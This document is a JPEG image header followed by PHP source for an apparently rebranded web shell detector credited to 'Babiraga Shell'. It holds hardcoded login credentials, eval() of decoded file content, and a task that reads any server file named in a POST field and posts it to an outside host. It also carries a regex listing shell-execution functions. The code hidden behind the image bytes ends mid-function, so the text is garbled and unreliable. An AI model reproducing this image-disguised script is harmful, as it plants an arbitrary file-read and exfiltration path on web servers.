ÿØÿà JFIF    ÿÛ „  ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ     ÿÄ H    !1AQaq"‘¡2B±ÁÑð#R“Ò Tbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz ¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡* ….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±b Lô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊ ÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ." ¤‡ú*õ'VŽ|¼´Úgllº¼klz[Æüï÷Aób‡Eÿ dÑ»Xx9ÃÜ£ÁT/`¼¸vI±Ýµ·Ë‚“G³þ*Ÿû´r|*}<¨îºœ @¦mÄ’M¹”.œ«Y–|6ÏU¤jç¥ÕÞqO ˜kDÆÁ¨5ÿ š;ÐЦ¦€GÙk \ –Þ=â¼=SͧµªS°ÚÍpÜãQűÀõ¬?ÃÁ1Ñ•õZà?hóœ€ L¦l{Y*K˜Ù›zc˜–ˆâ ø+¾ ­-Ök¥%ùEÜA'}ˆ><ÊIè“bpÍ/qÞâvoX€w,\úªò6Z[XdÒæ­@Ö—€$òJí#é>'°Ú ôª˜<)4ryÙ£|óAÅn5žêŸyÒäMÝ2{"}‰–¤l÷ûWX\l¾Á¸góÉOÔ /óñB¤f¸çñ[.P˜ZsÊË*ßT܈§QN¢’¡¨§V¼(Üù*eÕ“”5T¨‹Âê¥FŒã½Dü[8'Ò¥a…Ú¶k7a *•›¼'Ò·\8¨ª\@\õ¢¦íq+DÙrmÎ…_ªæ»ŠÓœ¡¯’Ré9MÅ×D™lælffc+ŒÑ,ý™ÿ ¯þǤ=Å’Á7µ÷ÚÛ/“Ü€ñýã¼àí¾ÕÑ+ƒ,uµMâÀÄbm:ÒÎPæ{˜Gz[ƒ¯«® KHà`ߨŠéí¯P8Aq.C‰ à€kòpj´kN¶qô€…Õ,ÜNŠª-­{Zö’æû44‰sŽè‰îVíRœÕm" 6?³D9¡ÇTíÅꋇ`4«¸ÝÁô ï’ýorqКÇZ«x4Žâéþuïf¹µö[P ,Q£éaX±`PÉÍZ ¸äYúg üAx ’6Lê‚xÝÓ*äQ  Ï’¨hÍ =²,6ï#rÃ<¯–£»ƒ‹,–ê•€ aÛsñ'%Æ"®ÛüìBᝠHÚ3ß°©$“XnœÖ’î2ËTeûìxîß ¦å¿çÉ ðK§þ{‘t‚Ϋ¬jéîZ[ ”š7L¥4VÚCE×]m¤Øy”ä4-dz£œ§¸x.*ãÊÊ b÷•h:©‡¦s`BTÁRû¾g⻩‹jø sF¢àJøFl‘È•Xᓁà~*j¯ +(ÚÕ6-£¯÷GŠØy‚<Ç’.F‹Hœw(+)ÜÜâÈzÄäT§FߘãÏ;DmVœ3Àu@mÚüXÝü•3B¨òÌÁÛ<·ÃÜ z,Ì@õÅ·d2]ü8s÷IôÞ¯^Ç9¢u„~ëAŸï4«M? K]­ÅàPl@s_ p:°¬ZR”´›JC[CS.h‹ƒïËœ«Æ]–÷ó‚wR×k7X‰k›‘´ù¦=¡«‰¨¨Â')—71ó’c‡Ðúµ `é.{§p¹ój\Ž{1h{o±Ý=áUÊïGÖŒõ–-BÄm+AZX¶¡ ïHðæ¥JmÙ;…䡟ˆ¦ ° äšiÉg«$üMk5¤L“’çÊvïâï ,=f“"íἊ5ô¬x6{ɏžID0e¸vçmi'︧ºð9$ò¹÷*£’9ÿ ²TÔ…×>JV¥}Œ}$p[bÔ®*[jzS*8 ”·T›Í–ñUîƒwo$áè=LT™ç—~ô·¤ÈÚ$榍q‰„+´kFm)ž‹©i–ËqÞŠ‰à¶ü( ‚•§ •°ò·‡#5ª•µÊ﯅¡X¨šÁ*F#TXJÊ ušJVÍ&=iÄs1‚3•'fý§5Ñ<=[íÞ­ PÚ;ѱÌ_~Ä££8rÞ ²w;’hDT°>ÈG¬8Á²ÚzŽ®ò®qZcqJêäÞ-ö[ܘbň±çb“ж31²n×iƒðÕ;1¶þÉ ªX‰,ßqÏ$>•î íZ¥Z 1{ç൵+ƒÕµ¥°T$§K]á»Ûï*·¤tMI’ÂZbŽÕiÒ˜}bÓ0£ª5›¨ [5Ž^ÝœWøÂÝh° ¢OWun£¤5 a2Z.G2³YL]jåtì”ä ÁÓ‘%"©<Ôúʰsº UZvä‡ÄiÆÒM .÷V·™ø#kèýiíÌ–ª)µT[)BˆõÑ xB¾B€ÖT¨.¥~ð@VĶr#¸ü*åZNDŽH;âi ],©£öØpù(šºãö¼T.uCê•4@ÿ GÕÛ)Cx›®0ø#:ÏðFÒbR\(€€Ä®fã4Þ‰Fä¯HXƒÅ,†öEÑÔÜ]Öv²?tLÃvBY£ú6Êu5ÅAQ³1‘’¬x–HŒÐ‡ ^ ¸KwJôÖŽ5×CÚ¨vÜ«/B0$×k°=ðbÇ(Ï)w±A†Á† 11Í=èQšµ626ŒÜ/`G«µ<}—-Ö7KEHÈÉðóȤmݱû±·ø«Snmá=“䫚mݱŸ¡¶~ó·“äUóJæúòB|E LêŽy´jDÔ$G¢þÐñ7óR8ýÒ…Ç› WVe#·Ÿ p·Fx~•ݤF÷0Èÿ K¯æS<6’¡WШ; ´ÿ ¥Êø\Òuî†åÝ–VNœkÒ7oòX¨Á­Ø÷FÎÑä±g÷ÿ M~Çî=p,X´ ÝÌÚÅ‹’ÃjÖ.ØöÏñ qïQ¤ÓZE†° =6·]܈ s¸>v•Ž^Ý\wq9r‰Î\¸¡kURÒ$­*‹Nq?Þª*!sŠÆ:TU_u±T+øX¡ ®¹¡,ÄâÃBTsÜ$Ø›4m椴zÜK]’’›Pƒ @€#â˜`é¹=I‡fiV•Ôî“nRm+µFPOhÍ0B£ €+¬5c v•:P'ÒyÎ ‰V~‚Ó†ÖuókDoh$å\*ö%Ю=£«…aȼ½÷Û.-½VŒŠ¼'lyî±1¬3ó#ÞE¿ÔS¤gV£m›=§\û"—WU¤ÚǼÿ ÂnÁGŒÃ ‚õN D³õNÚíŒÕ;HôyÄÈ©P¹Ä{:?R‘Ô¨âF÷ø£bÅó® JS|‚R÷ivýáâ€Æé¡è³´IئÑT!§˜•ت‚¬â@q€wnïCWÄ@JU€ê¯m6]Ï:£âx'+ÒðXvÓ¦Úm=–´7œ $ì“B£~p%ÕŸUþ« N@¼üï~w˜ñø5®—'Ôe»¤5ã//€ž~‰Tþ›Å7•#¤× Íö pÄ$ùeåì*«ÓŠEØWEÈsßg ¦ûvžSsLpºÊW–âµEWöˬH; ™!CYõZ ÃÄf æ#1W. \uWâ\,\Çf j’<qTbên›Î[vxx£ë 'ö¨1›˜ÀM¼Pÿ H)ƒêêŒA7s,|F“ 꺸k³9Ìö*ç®;Ö!Ö$Eiž•¹ÒÚ†ýóéÝû¾ÕS®ó$’NÝäŸz¤5r¦ãÄÃD÷Üø!°ø‡Ô&@m™Ì^Ãä­d q5Lnÿ N;.6½·N|#ä"1Nƒx“ã<3('&ñßt  ~ªu”1Tb㫨9ê–›–bìd$ߣ=#ÕãÒmU¯eí$EFù5ýYô櫨æì™Ç—±ssM]·á¿0ÕåJRÓªîiƒ+O58ÖñªŠÒx" \µâá¨i’¤i —Ö ” M+M¤ë9‚‰A¦°Qõ¾ßøK~¼Ã‘g…Ö´~÷Ï[3GUœÒ½#…kàÔ®Ò”‰³·dWV‰IP‰Ú8u¹”E ÖqLj¾êÕCBš{A^Âß;–¨`¯¬ìö ˼ ×tìø.tƐm*n¨y4o&Àx¥n¦×î‡aupáÛj8¿m›è¶ã!o½;ß0y^ý×^EÑ¿ÒjzŒ­)vÚÑnÄL …^ªô× ‡—‚3k Îý­hï]içå–îÏ*÷ñþ»Ô CÒjøjÍznˆ´ ¹#b'Fô‹ ‰v¥'’à'T´ƒHýÍ%M‰ ƒ&ÆÇŒï1 ‘ –Þ ‰i¬s žR-Ÿ kЬá¬7:þ 0ŒÅÒÕ/aÙ¬ÃÝ#Úøœ ©aiVc‰. ¹¦ãµ” ›Yg¦›ÆÎýº°f³7ƒhá·¸­}&D9¡ÂsÉÙÞèŠõØàC™¨ñbFC|´Ü(ŸƒÚÒ-%»'a Ì¿)ËÇn¿úÿ ÞŽX…4ÊÅH^ôΑí@ù¹Eh¶“L8Çjù ¼ÎåVªóR©Ï5uà V4lZß®=€xÖŸ–ÑÈ ÷”¨°¾__yM1tÉ?uÆþIkÄgæ@þ[¢†°XÃJ£j·:nkÅ¢u ‘}âGzö­/IµèЬ¼48q¦F°ŽR¼=ûì{´¯RýicS ÕÛ íNtÍÙï£,w4rêì®»~x(©Uñ§#Ñ&œÕ¤>ÎåÍÓ9’Ö{9eV­[Öjâ²ãu]˜å2›qÑšÕJç0€sÄ|Êëè0튔bÁ>“{×_F`Ø©ºê:µä,v¤ðfc1±"«ÔÍän1#=· Âøv~H½ÐßA¾¿Ü€Óš]Õ; I¾÷ç‚Qi†î¹9ywÔKG˜áñ zQY—§ÃÕZ07§X‚ Áh;ÁM)iÌCH-¯T‘ë|A0{Ò½LÚ–TâÖkÜ’dÀ“rmm»”جPF³ÖcbE§T€ÒxKºû’Ó®7±²(\4ŽÃ¸Uu@j™yĵ;³µ!Á¢b.W¤=mõ´êµK k ¸K^ÜÛ#p*Ü14qkZç5ïë †°5Ï%ÍÛ<Õ¤×Ô¥ê†C Õ´¼ú$ƒÖ“”]Ù¬qÞÚ[4©ý!ûÏ—Áb쳐XµA¬â~`›Çr¸8ìùÝ䫦<>ä÷«?xs´ÇÑ /á;¹øüÊÈÙà{"@Žïzâ¬[âß‚ U_<ÇŸ½4èN˜ú61®qŠu ¦þF£»äJ_ˆÙÎ~ ÞAã–݄ϗrŠD;xTž‘ô`É«…suãO`?³à™ô Lý#Íc5öoæØ‚y´´÷«ZR§<&JÇ+éâô´€i!Àˆ0æAoàðLèÖ-2ŸõW.’t^–(KÁmHµV@xÜÇy®Ñø­â^:Ú3w· 7½¹°ñ¸â¹®:',«Mœ—n­Á+Ãbš LÈ‘ÄnRÓÅœ%¦²‰¨ùQ:¤f‚ "PÕtô¸…cæl…&˜Ú˜Ôkv‹ž+vŠ,=¢v­6—Xy*¥t£«<™:“aîϲ=¦6rO]XI¿Œ÷¤zÚ­›¶ 6÷”w\d ü~v®ˆÌk«^m<ÿ ¢‰Õ\)ùºŽ;… lîÙÅEŠ®cѾ@vnMÏ,¼“ñ•ŽBxðÃzãÇç%3ˆ"}Ù•Åî> BÉú;Ò]V+P˜F_´ßé> Øše|ï‡ÄOmFæÇ ãqÞ$/xÐx­z`ï9"œÜij‚!7.\Td…9M‡•iŽ‹¾‘50ÞŽn¥ß4ÉôO ¹*í^QêËÜÇÌ8=ާs‰'ÂëÙ«á%Pú[O †ÅP¯Vsް.‰,kc¶ ¬A9n˜XÎ-ÞšN["¹QÕ‰ƒMýÁߺXJæÍaLj¾×Ãmã¾ãÚ uñÒþåQô¦¥ /ÄUx:‚ÍÜ’ Đ©ØÝ3V¨‰ÕnÐ6ó*óúK­«…c ¯U òhsý­jóÔj#,ímŒRµ«lbïUTŒÑ8†Ä0œÏr`ð¡¬É Ї ë"À² ™ 6¥ f¶ ¢ÚoܱԷ-<Àî)†a¶ž'Ú»¨TXqØæ¶÷YÄHy˜9ÈIW­YÀuMFë ºÏ’AqÌ4·/Ú †ô'i$øä­=Ä Ý|öK×40è|È6p‘0§)o¥ctî§H+CA-“ xØ|ÐXАç l8íºð3Ø:³¤¬KX¯UÿÙ array('php', 'txt')); if (is_file('shelldetect.ini')) { $params = parse_ini_file('shelldetect.ini'); } //static settings initialize shellDetector::$_settings = $params; $shelldetector = new shellDetector($params); if ($shelldetector->isConsole()) { $options = getopt("d:hcb"); if (array_key_exists("d",$options)) { $shelldetector->setDir($options["d"]); } if (array_key_exists("b",$options)) { $shelldetector->setBrief(true); } if (array_key_exists("c",$options)) { shellDetector::$_settings['is_cron'] = true; $shelldetector->setCron(true); } } $shelldetector->start(); class shellDetector { //settings: extensions that should be scanned private $extension = array('php','txt','Php', 'PhP', 'phP', 'PHp', 'phtml', 'shtml', 'PHP'); //settings: show line number where suspicious function used private $showlinenumbers = true; //settings: used with access time & modified time private $dateformat = "H:i:s d/m/Y"; //settings: if I want to use other language private $language = ''; //settings: if console used private $console = false; //settings: if brief info is needed private $brief = false; //settings: scan specific directory private $directory = '.'; //settings: scan hidden files & directories private $scan_hidden = true; //settings: perform different task private $task = ''; //settings: used with is_cron(true) file format for report file private $report_format = '\s\h\e\l\l\d\e\t\e\c\t\o\r\_Gi-dmY.\h\t\m\l'; //settings: if true run like a cron (no output) private $is_cron = false; //settings: maximum files to scan (more then 30000 you should scan specific directory) private $filelimit = 30000; //settings: protect script with user & password in case to disable simply set to NULL private $authentication = array("username" => "babiraga", "password" => "babiraga"); //settings: get shells signatures db by remote private $remotefingerprint = false; //settings: hide suspicious files private $hidesuspicious = false; //settings: type of file submission to review (0 - old one not secure but will work with allow_url_fopen = false, 1 - new one more secure but allow_url_fopen need to be true.) private $submitfile = 1; /* * System variables */ //system variable used with output static $_settings = array(); //system variable used with is_cron static $_output = ''; // global counters private $counter = 0; private $suspcounter = 0; //system variable hold all scanned files private $_files = array(); //system variable hold bad files private $_badfiles = array(); //system: hold shells signatures private $fingerprints = array(); //system: title private $_title = 'Web Shell Detector by Babiraga Shell'; //system: version of shell detector private $_version = '0.666'; //system: regex for detect Suspicious behavior private $_regex = '%(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b)%'; //system: public key to encrypt file content private $_public_key = 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JR2ZNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRRDZCNWZaY2NRN2dROS93TitsWWdONUViVU4NClNwK0ZaWjcyR0QvemFrNEtDWkZISEwzOHBYaS96bVFBU1hNNHZEQXJjYllTMUpodERSeTFGVGhNb2dOdzVKck8NClA1VGprL2xDcklJUzVONWVhYUQvK1NLRnFYWXJ4bWpMVVhmb3JIZ25rYUIxQzh4dFdHQXJZWWZWN2lCVm1mRGMNCnJXY3hnbGNXQzEwU241ZDRhd0lEQVFBQg0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tDQo='; private $_self = ''; /** * Constructor */ function __construct($settings = null) { if (is_array($settings)) { $own = get_object_vars($this); foreach ($settings as $key => $value) { if (key_exists($key, $own) && substr($key, 0, 1) != '_') { $this->$key = $value; } } $this->_self = basename(__FILE__); } if ($this->authentication != null) { if ((!isset($_SERVER['PHP_AUTH_USER']) || (isset($_SERVER['PHP_AUTH_USER']) && $_SERVER['PHP_AUTH_USER'] != $this->authentication['username'])) || (!isset($_SERVER['PHP_AUTH_PW']) || (isset($_SERVER['PHP_AUTH_PW']) && $_SERVER['PHP_AUTH_PW'] != $this->authentication['password']))) { header('WWW-Authenticate: Basic realm="Login"'); header('HTTP/1.0 401 Unauthorized'); echo $this->t('Please login to continue.'); exit ; } } if (isset($_GET['task'])) { $this->task = $_GET['task']; } if (isset($_GET['s']) && 1 == $_GET['s']) { $this->hidesuspicious = false; } if (file_exists('shelldetect.db')) { $context = stream_context_create(array('http' => array('timeout' => 30))); $this->fingerprints = unserialize(base64_decode(file_get_contents('shelldetect.db', 0, $context))); } if ($this->remotefingerprint) { $this->fingerprints = unserialize(base64_decode(file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/shelldetect.db'))); } } public function setDir($dir) { $this->directory = $dir; } public function setCron($val) { $this->is_cron = $val; } public function setBrief($val) { $this->brief = $val; } public function isBrief() { return $this->brief; } public function isConsole() { return $this->console; } /** * Start function */ public function start() { switch ($this->task) { case 'sendfile': $this->sendfile(); break; case 'getsha': $this->header(); $this->filescan(); $this->showsha(); $this->footer(); break; case 'update': $this->header(); $this->update(); $this->footer(); break; default: $this->header(); $this->version(); $this->filescan(); $this->anaylize(); $this->footer(); break; } } /** * Update function get latest update */ private function update() { if ($this->version()) { $context = stream_context_create(array('http' => array('timeout' => 30))); $content = file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/shelldetect.db', 0, $context); chmod('shelldetect.db', 0777); if (file_put_contents('shelldetect.db', $content)) { self::output($this->t('Shells signature database updated succesfully!')); } else { self::output($this->t('Cant save shells signature database please check permissions'), 'error'); } } else { self::output($this->t('Your shells signatures database already updated!')); } } /** * Check version function */ private function version() { $context = stream_context_create(array('http' => array('timeout' => 10, 'header' => 'Connection: close'))); //check application version $app_version = floatval($this->_version); $server_version = file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/version/app', 0, $context); if (strlen($server_version) != 0 && floatval($server_version) != 0 && (floatval($server_version) > $app_version)) { self::output($this->t('New version of application found. Please update!'), 'error'); } else if (strlen($server_version) == 0 || intval($server_version) == 0) { self::output($this->t('Cant connect to server! Application version check failed!'), 'error'); } $version = isset($this->fingerprints['version']) ? $this->fingerprints['version'] : 0; $server_version = file_get_contents('https://raw.github.com/emposha/PHP-Shell-Detector/master/version/db', 0, $context); if (strlen($server_version) != 0 && intval($server_version) != 0 && (intval($server_version) > intval($version))) { self::output($this->t('New version of shells signature database found. Please update!'), 'error'); return true; } else if (strlen($server_version) == 0 || intval($server_version) == 0) { self::output($this->t('Cant connect to server! Version check failed!'), 'error'); } unset($this->fingerprints['version']); return false; } /** * Send file to analyze */ private function sendfile() { self::output(''); if (isset($_POST['filename'])) { $filename = base64_decode($_POST['filename']); if (file_exists($filename)) { $email = isset($_POST['email']) ? $_POST['email'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : $_SERVER["SERVER_NAME"]; $postdata = http_build_query(array('task' => 'submit', 'ver' => '2', 'code' => base64_encode(file_get_contents($filename)), 'email' => $email, 'ip' => $_SERVER['REMOTE_ADDR'])); $context = stream_context_create(array('http' => array('method' => 'POST', 'header' => "Content-type: application/x-www-form-urlencoded\r\nReferer: " . $referer . "\r\n", 'content' => $postdata))); $server_version = file_get_contents('http://www.shelldetector.com/api/', 0, $context); self::output($server_version, 'success'); } else { self::output($this->t('Cant find selected file.'), 'error'); } } else { self::output($this->t('No file specified.'), 'error'); } } /** * Scan function executer */ private function filescan() { self::output($this->t('Starting file scanner, please be patient file scanning can take some time.')); self::output($this->t('Number of known shells in database is: ') . count($this->fingerprints)); self::output('
' . $this->t('Files found:') . '', null, false); $this->listdir($this->directory); self::output('
', null, false); if ($this->filelimit>0) { if (count($this->_files) > $this->filelimit) { self::output($this->t('File limit reached, scanning process stopped.')); } } if ($this->filelimit>0) { self::output($this->t('File scan done, we have: @count files to analize', array("@count" => count($this->_files)))); } else { self::output($this->t('File scan done, we have: @count files to analize', array("@count" => $this->counter))); } if ($this->hidesuspicious) { self::output($this->t('Please note suspicious files information will not be displayed'), 'error'); } } /** * Show sha1 for found files */ private function showsha() { foreach ($this->_files as $file) { self::output('
' . $this->t('Show sha for file:') . ' ' . basename($file) . '-
', null, false); self::output('
' . $this->t('Full path:') . '
' . $file . '
', null, false); self::output('
' . $this->t('Sha1:') . '
' . sha1_file($file) . '
', null, false); } self::output('', 'clearer'); } /** * Check files for using suspicious function */ private function analyze($file) { $counter = 0; $this->counter++; $content = file_get_contents($file); $base64_content = base64_encode($content); $shellflag = $this->unpack($file, $content, $base64_content); if ($shellflag != false) { $this->fileInfo($file, $base64_content); $shellcolor = 'red'; preg_match('#(.*)\[(.*?)\]\[(.*?)\]\[(.*?)\]#', $shellflag, $shellmatch); if (is_array($shellmatch) && count($shellmatch)>0) { $shellflag = $shellmatch[1] . '(' . $shellmatch[4] . ')'; switch($shellmatch[3]) { case 1 : $shellcolor = 'orange'; $shellflag .= ' ' . $this->t('please note it`s a malicious file not a shell'); break; case 2: $shellcolor = 'orange'; $shellflag .= ' ' . $this->t('please note potentially dangerous file (legit file but may be used by hackers)'); break; } } if ($this->isConsole() && !$this->isBrief()) { print "$file: $shellflag\n"; } self::output('
' . $this->t('Fingerprint:') . '
' . $this->t('Positive, it`s a ') . $shellflag . '
', null, false); } else if ($this->hidesuspicious != true) { if (preg_match_all($this->_regex, $content, $matches)) { $this->fileInfo($file, $base64_content); if ($this->showlinenumbers) { self::output('
' . $this->t('suspicious functions used:') . '
', null, false); $_content = explode("\n", $content); for ($line = 0; $line < count($_content); $line++) { if (preg_match_all($this->_regex, $_content[$line], $matches)) { $lineid = md5($line . $file); self::output($this->_implode($matches) . ' (' . $this->t('line:') . ($line + 1) . ');', null, false); self::output('', null, false); } } self::output(' 
', null, false); } else { self::output('
' . $this->t('suspicious functions used:') . '
' . $this->_implode($matches) . ' 
', null, false); } $key = $this->fileprepare($file, $base64_content); self::output('
' . $this->t('Fingerprint:') . '
' . $key . '
', null, false); $this->suspcounter++; } } else { if (preg_match_all($this->_regex, $content, $matches)) { $this->suspcounter++; } } } /** * Check files for using suspicious function */ private function anaylize() { foreach ($this->_files as $file) { if (is_readable($file)) { $this->analyze($file); } } self::output('', 'clearer'); self::output($this->t('Status: @count suspicious files found and @shells shells found. Rescan and show suspicious files' , array("@count" => $this->suspcounter, "@shells" => count($this->_badfiles) ? '' . count($this->_badfiles) . '' : count($this->_badfiles))), (count($this->_badfiles) ? 'error' : 'success')); } /** * Prepare file submit function */ private function fileprepare($file, $base64_content) { $filtered_file = filter_var($file, FILTER_SANITIZE_SPECIAL_CHARS); $key = $this->t('Negative') . ' (' . $this->t('if wrong') . ' ' . $this->t('submit file for analize') . ')'; $key .= ''; return $key; } /** * Show file information */ private function fileInfo($file, $base64_content) { $owner = fileowner($file); $self_owner = getmyuid(); $permissions = substr(sprintf('%o', fileperms($file)), -4); if (function_exists('posix_getpwuid')) { $owner = posix_getpwuid($owner); $owner = $owner['name']; $self_owner = posix_getpwuid($self_owner); $self_owner = $self_owner['name']; } if ($owner !== $self_owner) { $owner = '' . $owner .' (' . $this->t('Please note: file have different owner') . ')'; } if (intval($permissions) == 777) { $permissions = '' . $permissions .' (' . $this->t('Please note: file have full access permissions') . ')'; } $filtered_file = filter_var($file, FILTER_SANITIZE_SPECIAL_CHARS); self::output('
' . $this->t('Suspicious behavior found in:') . ' ' . basename($filtered_file) . '-
', null, false); self::output('
' . $this->t('Full path:') . '
' . $filtered_file . '
', null, false); self::output('
' . $this->t('Owner:') . '
' . $owner . '
', null, false); self::output('
' . $this->t('Permission:') . '
' . $permissions . '
', null, false); self::output('
' . $this->t('Last accessed:') . '
' . date($this->dateformat, fileatime($file)) . '
', null, false); self::output('
' . $this->t('Last modified:') . '
' . date($this->dateformat, filemtime($file)) . '
', null, false); self::output('
' . $this->t('MD5 hash:') . '
' . md5($base64_content) . '
', null, false); self::output('
' . $this->t('Filesize:') . '
' . $this->HumanReadableFilesize($file) . '
', null, false); } /** * Unpacking function, main idea taken from http://www.tareeinternet.com/ */ private function unpack($file, $content, $base64_content) { if ($flag = ($this->fingerprint($file, $base64_content)) ) { return $flag; } elseif ($flag = ($this->fingerprint($file, $content))) { return $flag; } else { $counter = 0; $encoded_content = preg_replace("/<\?php|\?>|<\?/", "", $content); $temp = array(); if (preg_match("/(\beval\b\(gzinflate|\beval\b\(base64_decode)/", $encoded_content)) { while (preg_match("/\beval\((gzinflate|base64_decode)\((.*?)\);/", $encoded_content, $matches)) { $encoded_content = preg_replace("/<\?php|\?>|<\?|eval/", "", $encoded_content); $temp = $matches; if (isset($matches[1]) && isset($matches[2]) && strpos($matches[2], '$') === false) { eval("\$encoded_content = " . $matches[1] . '(' . $matches[2] . ";"); } else if (isset($matches[1]) && isset($matches[2]) && strpos($matches[2], '$') !== false) { preg_match('/\$(.*?)\)/', $matches[2], $variable); if (isset($variable[1])) { preg_match('/\$' . $variable[1] . '=(.*?);/', $content, $content_match); if (isset($content_match[1])) { $content_temp = $matches[1] . '(' . str_replace('$' . $variable[1], $content_match[1], $matches[2]); eval("\$encoded_content = " . $content_temp . ";"); } else { $encoded_content = ''; } } else { $encoded_content = ''; } } else { $encoded_content = ''; } if ($counter > 20) { //protect from looping break; } $counter++; } } else if (preg_match("/preg_replace.*\/e\"/", $encoded_content)) { while (preg_match("/preg_replace\((.*?)\/e(.*)\);/", $encoded_content, $matches)) { $encoded_content = preg_replace("/<\?php|\?>|<\?/", "", $encoded_content); preg_replace("/preg_replace\((.*?)\/e(.*)\);/", "", $encoded_content); if (isset($matches[1]) && isset($matches[2])) { eval("\$encoded_content = preg_replace(" . $matches[1] . '/' . $matches[2] . ');'); } if ($counter > 20) { //protect from looping break; } $counter++; } } else { $encoded_content = ''; } if ($encoded_content != '') { $encoded_content64 = base64_encode($encoded_content); $flag = $this->fingerprint($file, $encoded_content64); } else { $flag = false; } } return $flag; } /** * Fingerprint function */ private function fingerprint($file, $content = null) { $key = false; // pre prepare all the fingerprints on the first request for optimisation. static $fingerprint_cache = array(); if(empty($fingerprint_cache) === true){ foreach ($this->fingerprints as $fingerprint => $shell){ if (strpos($fingerprint, 'bb:') !== false) { $fingerprint = base64_decode(str_replace('bb:', '', $fingerprint)); } $fingerprint_cache['/' . preg_quote($fingerprint, '/') . '/'] = $shell; } } foreach ($fingerprint_cache as $fingerprint => $shell) { if (preg_match($fingerprint, $content)) { # [version] => 1359928984 db content FIXME?!?!? if ($fingerprint == "version") break; $key = $shell; $this->_badfiles[] = $file; break; } } return $key; } /** * Recursively implode array */ private function _implode($array, $glue = ', ') { $temp = array(); foreach ($array as $value) { if (is_array($value)) { $temp[] = $this->_implode($value); } else { $temp[] = $value; } } return implode($glue, array_unique($temp)); } /** * Output footer function */ private function footer() { self::output('', null, false); if ($this->is_cron || $this->console) { $this->flush(); } } /** * Output header function */ private function header() { $style = ''; $script = 'function init(){$("#loader").hide();$("dt").live("click", function(){var text=$(this).children(".plus");if(text.length){$(this).next("dd").slideToggle();if(text.text()=="+"){text.text("-")}else{text.text("+")}}});$(".showline").live("click", function(){var id="li"+$(this).attr("id");$("#"+id).dialog({height:440,modal:true,width:600,title:"Source code"});return false});$(".source_submit").live("click",function(){var id="for"+$(this).attr("id");$("#wrap"+id).dialog({autoOpen:false,height:200,width:550,modal:true,resizable: false,title:"File submission",buttons: {"Submit file to analysis": function() {if ($(".ui-dialog-content form").length) {$("#i"+id).removeClass("hidden");$("#"+id).submit();$(".ui-dialog-content form").remove();} else {alert("This file already submited");}}/*,"Submit file to Virustotal": function () {alert("Not implemented");}*/}});$("#wrap"+id).dialog("open");return false})}$(document).ready(init);'; self::output('Web Shell Detector by Babiraga Shell' . $style . '

' . $this->_title . ' v' . $this->_version . '
(PHP Version: ' . phpversion() .')

' . $this->t('Please wait') . '
', null, false); } /** * Output */ static function output($content, $class = 'info', $html = true) { if ((isset(self::$_settings) && isset(self::$_settings['is_cron']) && self::$_settings['is_cron']) || (isset(self::$_settings) && isset(self::$_settings['console']) && self::$_settings['console'])) { if ($html) { self::$_output .= '
' . $content . '
'; } else { self::$_output .= $content; } } else { if ($html) { print '
' . $content . '
